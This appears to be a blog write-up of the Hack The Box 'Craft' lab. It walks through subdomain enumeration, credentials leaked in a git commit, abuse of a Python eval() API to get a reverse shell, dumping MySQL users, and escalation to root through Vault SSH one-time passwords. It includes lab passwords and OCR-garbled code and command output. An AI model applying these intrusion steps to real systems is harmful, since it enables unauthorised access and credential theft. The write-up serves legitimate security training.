Python has a built-in eval() function. The eval() function is used to evaluate the specified expression. If the expression is a correct Python statement, it will be executed. This can be very dangerous if used incorrectly by a web developer.

Image from

In Craft from HTB, initial access is leveraged through the use of this function. Let's take a look:

1) Initial enumeration provides us with a hostname of craft.htb (add to /etc/hosts file) and listening services. We are interesting in the web server for initial access.

2) https://craft.htb does not get us anywhere so we continue with enumeration on subdomains and possibly directories. We are able to identity two, gogs and api. Let's see how these two tie together. (spoiler alert gogs -> creds -> api usage).

WFUZZ subdomains. 

3) For real world git, there are many tools you can use to do this. Since this is a CTF, we can leverage something like gitrob for example. Perform some manual enumeration and check out the commits and determine where to manually start  looking.

Juicy test script?

4) Once we take a look at that specific commit, we identify some credentials.

5) With the credentials identified above, we can log in as Dinesh.

6) Further enumeration and you should have seen  the discussions in  the "issue". I'm going to skip some of the details and skip to the good part, abusing their eval() function implementation.

7) Long story short, Dinesh's "fix" was no bueno. :). His eval function used in can be abused using the API (and credentials we already have).

eval() function on 

8) Below is the code used to get a reverse shell. It's pretty simple. We import the os module and execute some bash.

Using (where we found creds) to exploit their web server. 

9) This shell lands us in a docker container. To get to docker to the gilfoyle user, you perform some enumeration, find and some Once you figure out what this can do for you, you dump all the users by modifying the SQL query being used. is the one given to you by  the server. Since we can write to this script, I simply changed query being used. #GiveMeAllTheUsers

sql = "SELECT * from `user`"
/opt/app # cat 
import pymysql 
from craft api 
# test connection to mysql database 
connection = .MYSQL DATABASE HOST, 
user-settings .MYSQL DATABASE USER, 
password-settings .MYSQL DATABASE PASSWORD, 
db-settings .MYSQL DATABASE DB, 
cursorclass=pymysql . cursors . DictCursor) 
' username': 'ebachman' , 
import settings 
try : 
with connection. cursor() as cursor: 
sql - "SELECT Aid , 
brewer' , 
name , 
cursor. execute(sql) 
result = cursor. fetchone() 
print( result) 
connection.close()/opt/app # cat 
#!/usr/bin/env python 
import pymysql 
from craft api import settings 
# test connection to mysql database 
connection = .MYSQL DATABASE HOST, 
user-settings .MYSQL DATABASE USER, 
password-settings .MYSQL DATABASE PASSWORD, 
db-settings .MYSQL DATABASE DB, 
cursorclass=pymysql . cursors . DictCursor) 
try : 
with connection. cursor() as cursor: 
sql "SELECT * FROM 'user' " 
cursor. execute(sql) 
result = cursor. fetchall() 
print( result) 
connection.close()/opt/app # python2 
/bin/sh: python2: not found 
/opt/app # python 
'username': 'dinesh' , 
/opt/app # 
' password' : 
' 4alJh0A8PbVJxgd 
' password' : 
' {lid'. 5, 
' username' : 
'gilfoyle' , 
' password' : 
' ZEU3N8WNM2rh4T' is the one I modified. 

10) Once we log into gogs as gilfoyle, we find his private ssh key and can ssh  into the machine with the -i flag.

ssh  -i private_id_rsa gilfoyle@craft.htb

11) Gilfoyle to root was a bit new for me. Awesome experience. Long story short, there is this "vault" application running on the server. Here is a great article on understand  the next  steps.

vault secret list will give you the list of all running "vaults".

Gilfoyles "craft-infra" has tons of loot. There is a script that gives you the exact command you will need to root the machine.

vault write ssh/creds/root otp ip= 
ssh/creds/root otp/3aae7b6c-3643-6c46-76ec-97fe382600be 
10.10. 14.48 
Step 1) Make the OTP
vault ssh -role root otp -mode otp root@127.O.O.1 
Vault could not locate "sshpass". The OTP code for the session is 
below. Enter this code in the SSH password prompt. If you install 
Vault can automatically perform this step for you. 
OTP for the session is: 69f9df73-6684-6341-3a22-3c982c940d72 
Linux craft.htb 4.9.o-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86 64 
The programs included with the Debian GNU/Linux system are free software; 
the exact distribution terms for each program are described in the 
individual files in /usr/share/doc/*/copyright. 
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent 
permitted by applicable law. 
Last login: wed Jul 17 2019 
Step 2) Root dance

I hope you enjoyed this post. Until next time!